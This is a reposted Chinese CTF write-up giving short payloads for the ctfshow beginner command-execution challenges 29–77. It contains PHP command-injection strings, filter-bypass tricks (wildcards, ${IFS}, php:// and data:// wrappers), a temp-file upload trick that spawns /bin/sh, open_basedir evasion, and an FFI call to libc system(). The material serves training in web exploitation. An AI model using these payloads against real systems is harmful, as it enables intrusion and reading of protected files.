【原创】ctfshow—web入门—命令执行 (29-77)

admin 2022年12月3日16:35:31评论25 views字数 3072阅读10分14秒阅读模式

[huayang]

web29

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=echo `nl flag.php`

web30

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=echo `nl fl\ag.p\hp`

web31

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?C=highlight_file($_GET[1])?>&1=flag.php

web32

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web33

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web34

【原创】ctfshow—web入门—命令执行 (29-77)

同上

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web35

【原创】ctfshow—web入门—命令执行 (29-77)

同上

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web36

【原创】ctfshow—web入门—命令执行 (29-77)

同上

/?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web37

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

【原创】ctfshow—web入门—命令执行 (29-77)

同上

/?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=data:text/plain,<?php system('cat fla?.php')?>

web40

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41

https://blog.csdn.net/miuzzx/article/details/108569080

web42

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=cat flag.php;

必须要 ;

web43

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)

web44

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl fla\g.php||

web45

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web46

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web47

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web48

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web49

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web50

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web51

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl<fl\ag.php||

web52

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl${IFS}/fla\g||

web53

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=nl${IFS}fla\g.php&

web54

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
?c=grep${IFS}'fla'${IFS}fla?.php

web55

【原创】ctfshow—web入门—命令执行 (29-77)

先写一个post上传的数据包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://09bc84d8-cb8a-43a0-8ca0-8b0df54b56e9.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传并抓包

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
payload :
?c=.+/???/????????[@-[]
!/bin/sh
ls
!/bin/sh
cat flag.php
【原创】ctfshow—web入门—命令执行 (29-77)

方法二

payload:?c=/???/????64%20/????.???
【原创】ctfshow—web入门—命令执行 (29-77)

不能用火狐

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)

web56

【原创】ctfshow—web入门—命令执行 (29-77)

同上

禁用了数字所以方法二不能用

web57

【原创】ctfshow—web入门—命令执行 (29-77)
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
【原创】ctfshow—web入门—命令执行 (29-77)

web58——web65

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
post:
c=show_source('flag.php')

web66——web70

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
post:
c=print_r(scandir("/"));
【原创】ctfshow—web入门—命令执行 (29-77)
post:
c=highlight_file('flag.txt');

这里用show_source()会报错

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)

web71

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
c=$a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f."    " ; } exit();
【原创】ctfshow—web入门—命令执行 (29-77)
post:
c=include('/flag.txt');exit(0);

web72

【原创】ctfshow—web入门—命令执行 (29-77)

web73-74

【原创】ctfshow—web入门—命令执行 (29-77)
【原创】ctfshow—web入门—命令执行 (29-77)
payload 查文件
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); }exit(0); ?>
【原创】ctfshow—web入门—命令执行 (29-77)
c=include('/flagc.txt');exit(0);

web75-76

【原创】ctfshow—web入门—命令执行 (29-77)
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
【原创】ctfshow—web入门—命令执行 (29-77)
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();

再访问1.txt

【原创】ctfshow—web入门—命令执行 (29-77)

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:35:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】ctfshow—web入门—命令执行 (29-77)http://cn-sec.com/archives/1443313.html

发表评论

匿名网友 填写信息